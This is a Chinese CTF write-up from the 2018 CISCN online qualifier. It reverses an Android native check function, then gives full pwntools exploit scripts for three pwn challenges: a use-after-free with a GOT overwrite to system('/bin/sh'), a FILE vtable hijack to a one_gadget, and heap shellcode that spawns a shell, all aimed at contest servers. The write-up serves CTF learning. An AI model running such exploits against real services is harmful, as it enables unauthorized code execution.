Writeup丨国赛线上初赛解题最后一波~

最后两趴...

是的~今天给出的是这次国赛最后两部分:Mobile和Pwn。

--------------- 特别感谢BXS战队 ---------------

再过几天放出西湖论剑杯的writeup啦~有没有期待的小伙伴?

PART5. MOBILE

Illusion

这题考的是Android原生代码加载方式吧。。(没学过apk的表示压力很大)不过拿了个二血,美滋滋。

用jeb分析下,逻辑很简单,onCreate设置按钮监听器,然后调用so的check函数和assets下的flag对比。

然后分析so文件。从jni_load开始,这里先获取环境变量,然后FindClass获取类,之后通过jclass,调用RegisterNatives来注册原生的JNI方法,这里的off_4004其实是个JNINativeMethod的结构体。

为了方便分析,我们插入JNINativeMethod结构体。然后根据该结构体的成员,找到关键的check函数。

其实这里还有个问题,这里写了2个注册的方式不同的CheckFlag函数,因为上层的java的写不是静态的native方法,而是成员方法。所以这里调用的不是那个很明显的checkflag函数(下图),而是成员方法,即位于JNINativeMethod结构体中的那个函数指针。

上图是假的checkflag函数。下图是真的checkflag函数。

对比可以发现,对引用的参数不一样。

然后分析关键的sub_10C0函数。

由于a2参数总是0x5d,所以,else语句总不会执行。

然后进入sub_1028函数分析。

看到这里,emm,简直和2018腾讯游戏安全Android资格赛的一个函数如出一辙,(可能是编译器函数?没研究过)这里的逻辑我就不说了,最关键的几步不对,ida反编译出错了。看汇编吧。。。

在sub_10c0函数的入口,就有一个push操作,然后跳转到sub_1027函数,如果参数一比参数二小,那就会直接返回参数一。否则在执行完一堆的函数后,最后返回到这里,执行pop指令,弹出r1-r3的值。所以里面那个函数并不用分析。

总结起来就是:如果传入的参数的值比0x5d大,则返回该值;否则返回2个值的差值。

最后再都加上0x20,然后strcmp。写脚本还原就好了。

脚本如下:

Flag:CISCN{GJ5728}

PART6. Pwn

1.Supermarket

程序realloc函数使用错误,可造成uaf利用,先泄露puts_addr,进而计算system_addr,之后将atoi@got覆盖为system,传入/bin/sh,脚本如下

# coding:utf-8

from pwn import *

debug=0

context.log_level='debug'

elf = ELF('./task_supermarket')

if debug:

p=process('./task_supermarket')

# context.log_level='debug'

# gdb.attach(p)

libc=ELF('/home/moonagirl/moonagirl/libc/libc_local_x32')

one_gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

else:

p=remote('49.4.23.67', 32366)#

libc = ELF('/home/moonagirl/moonagirl/libc/libc6-i386_2.23-0ubuntu9_amd64.so')

one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]

def ru(x):

return p.recvuntil(x)

def se(x):

p.send(x)

def z(a=''):

gdb.attach(p,a)

if a == '':

raw_input()

def add(name,price,sz,des):

se('1\n')

ru('name:')

se(name+'\n')

ru('price:')

se(str(price)+'\n')

ru('descrip_size:')

se(str(sz)+'\n')

ru('description:')

se(des)

ru('your choice>>')

def delete(name):

se('2\n')

ru('name:')

se(name+'\n')

ru('your choice>>')

def list():

se('3\n')

ru('all commodities info list below:')

data=ru('---------menu---------')

ru('your choice>>')

return data

def change_price(name,price):

se('4\n')

ru('name:')

se(name+'\n')

ru('input the value you want to cut or rise in:')

se(str(price)+'\n')

ru('your choice>> ')

def change_des(name,sz,des):

se('5\n')

ru('name:')

se(name+'\n')

ru('descrip_size:')

se(str(sz)+'\n')

ru('description:')

se(des)

ru('your choice>> ')

add('1',1,28,'a\n')

add('2',1,28,'b\n')

change_des('1',50,'\x00\n')

add('3',1,28,'c\n')

fake_item=p32(0x33)+p32(0)*3+p32(1)+'\xf0'

change_des('1',28,fake_item+'\n')

add('4',1,28,'d\n')

payload = p32(0x63) + p32(0)*6 + p32(0x21) + p32(0x34) + p32(0)*3 + p32(1) + p32(0x1c) + p32(elf.got['puts'])

payload = payload.ljust(0xf0,'\x00')

change_des('3',0xf0,payload+'\n')

# list()

list()

p.sendline('3')

p.recvuntil('4: price.1, des.')

data = u32(p.recv(4).ljust(4,'\x00'))

print '------------------------------------------------------------------------------'

success('puts_addr:'+hex(data))

libc_base = data - libc.symbols['puts']

success('libc_base:'+hex(libc_base))

malloc_hook = libc_base + libc.symbols['__malloc_hook']

success('malloc_hook:'+hex(malloc_hook))

gadget = libc_base + one_gadgets[3]

success('gadget:'+hex(gadget))

payload = p32(0x63) + p32(0)*6 + p32(0x21) + p32(0x34) + p32(0)*3 + p32(1) + p32(0x1c) + p32(elf.got['atoi'])

payload = payload.ljust(0xf0,'\x00')

change_des('3',0xf0,payload+'\n')

system_addr = libc_base + libc.symbols['system']

success('system_addr:'+hex(system_addr))

change_des('4',0x1c,p32(system_addr).ljust(0x1c,'\x00'))

p.sendline('\n')

p.sendline('/bin/sh\x00')

p.interactive()

2. magic

存在整数溢出,可通过传入-2更改log_file结构体的write_base域进而将log_file的read_ptr改成puts_got泄露libc地址,最后将vtable覆盖指向堆上,在堆上将虚表函数覆盖为one_gagdet

# coding:utf-8

from pwn import *

debug=0

#context.log_level='debug'

elf = ELF('./task_magic')

libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')

if debug:

p = process('./task_magic',env={'LD_PRELOAD':'/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so'})

# libc=ELF('/home/moonagirl/moonagirl/libc/libc_local_x64')

# gdb.attach(p)

else:

p = remote('49.4.23.164', 32232)# 49.4.23.164 32232

libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')

# one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]

def z(a=''):

gdb.attach(p,a)

if a == '':

raw_input()

def create(name):

p.send('1\n')

p.recvuntil('Give me the wizard\'s name:')

p.send(name)

p.recvuntil('choice>>')

def spell(idx,name):

p.send('2\n')

p.recvuntil('Who will spell:')

p.send(str(idx))

p.recvuntil('Spell name:')

p.send(name)

return p.recvuntil('choice>>')

def final_chance(idx):

p.send('3\n')

p.recvuntil('Who got the final_chance:')

p.sendline(str(idx))

p.recvuntil('choice>> ')

create('1')

spell(0,'a')

for i in range(13):

spell(-2,'\x00\x00\x00\x00')

spell(-2,'\x00\x00\xe0')

data=spell(0,'\xa8'+p64(0x602020))

puts=u64(data[:8])

base=puts-libc.symbols['puts']

success('base:'+hex(base))

p.send('3\n')

p.recvuntil('Who got the chance:')

p.sendline(str(-2))

p.recvuntil('choice>> ')

for i in range(5):

spell(0,'\x00'*8)

heap=u64(spell(0,'\x00'*8)[:8])-0x10

for i in range(13):

spell(-2,'\x00'*10)

chunk_addr=heap + 0x12f0

create('a'*16+p64(base+0x07CD01))

#create('a'*16+p64(0xdeadbeef))

pause()

p.send('2\n')

p.recvuntil('Who will spell:')

p.send(str(0))

p.recvuntil('Spell name:')

p.send(p64(0)+ p64(chunk_addr - 0x30)+p64(base + 0xf02a4))

p.interactive()

3.note

这题很简单,直接将free@got覆盖为堆地址,并在堆上写入shellcode,之后直接调用free执行shellcode即可

# coding:utf-8

from pwn import *

debug=1

#context.log_level='debug'

elf = ELF('./task_note_service2_OG37AWm')

#libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')

if debug:

p = process('./task_note_service2_OG37AWm')#,env={'LD_PRELOAD':'/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so'})

# gdb.attach(p)

else:

p = remote('49.4.23.164', 32321)# 49.4.23.164 32321

# libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')

# one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]

def z(a=''):

gdb.attach(p,a)

if a == '':

raw_input()

def add(index,size,content):

p.recvuntil('your choice>> ')

p.sendline('1')

p.recvuntil('index:')

p.sendline(str(index))

p.recvuntil('size:')

p.sendline(str(size))

p.recvuntil('content:')

p.sendline(content)

def free(index):

p.recvuntil('your choice>> ')

p.sendline('4')

p.recvuntil('index:')

p.sendline(str(index))

code = """

push rbp

pop rax

push rdx

pop rsi

"""

#[heap]:000055BF95A36028 and [rax], eax

add(-17,8,asm(code,arch="amd64"))

code = """

xor rbx,rbx

push rbp

pop rcx

push rbx

pop rdx

"""

#[heap]:000055BF95A36047 add [rcx], ah

add(0,8,asm(code,arch="amd64"))

code = """

push rbx

pop rsi

xor rsi,rsi

xor rdx,rdx

"""

#[heap]:000055BF95A36067 add [rcx], ah

add(1,8,'\x90'+asm(code,arch="amd64"))

code = """

xor rax,rax

movzx rax,0x3b

syscall

"""

add(2,8,'\x90'+asm(code,arch="amd64"))

add(5,8,'/bin/sh\x00')

free(5)

p.interactive()

-END-

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-05-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏美团技术团队

【美团技术团队博客】Dive into Category

本文系学习Objective-C的runtime源码时候整理所成,主要剖析了category在runtime层的实现原理以及和category相关的方方面面,包...

3446
来自专栏程序员与猫

Go Code Review Comments 译文(截止2018年7月27日)

持续更新中… 原文最新链接 https://github.com/golang/go/wiki/CodeReviewComments/5a40ba36d38...

643
来自专栏青枫的专栏

c语言基础学习11_项目实战:IDE(集成开发环境)

============================================================================= ==...

732
来自专栏信安之路

ret2resolve学习笔记

一是做个总结,二是做个备份。上篇文章感谢@大米指出的错误,格式化字符串漏洞还未销声匿迹!!!

840
来自专栏一个会写诗的程序员的博客

《Kotlin 程序设计》第七章 Kotlin 编译过程分析第七章 Kotlin 编译过程分析

http://mp.weixin.qq.com/s/lEFRH523W7aNWUO1QE6ULQ

972
来自专栏Kotlin源码阅读

Kotlin源码阅读——IO

filename:Console.kt/FileTreeWalk.kt/ReadWrite.kt/FileReadWrite.kt

1482
来自专栏程序员互动联盟

【答疑释惑】ascii码及转义字符的含义

我们在c/c++学习开发中经常用到它,小伙伴们你们都知道那些,是不是用到的时候着急或者不知道,为什么判断字符串结尾是'\0'呢?   我们就讲讲列列ascii...

3045
来自专栏linjinhe的专栏

周末学了点 Rust简介工具链宏(macros)返回值和错误处理Ownership 和生命周期闭包小结参考文档

Rust 是最近几年开始兴起的编程语言,虽然目前还没看到要像 Go 一样”大火“的趋势。但是,官网的一些 featuring 看着就很让人心动(虽然还不知道现实...

682
来自专栏光变

你所不知道的Java之Switch

??? Enum,String,Character,Byte,Short,Integer

1240
来自专栏WeTest质量开放平台团队的专栏

Unity3d底层数据传递分析

这篇文章主要分析了在Mono框架下,非托管堆、运行时、托管堆如何关联,以及通过哪些方式调用。内存方面,介绍了什么是封送,以及类和结构体的关系和区别。

752

扫码关注云+社区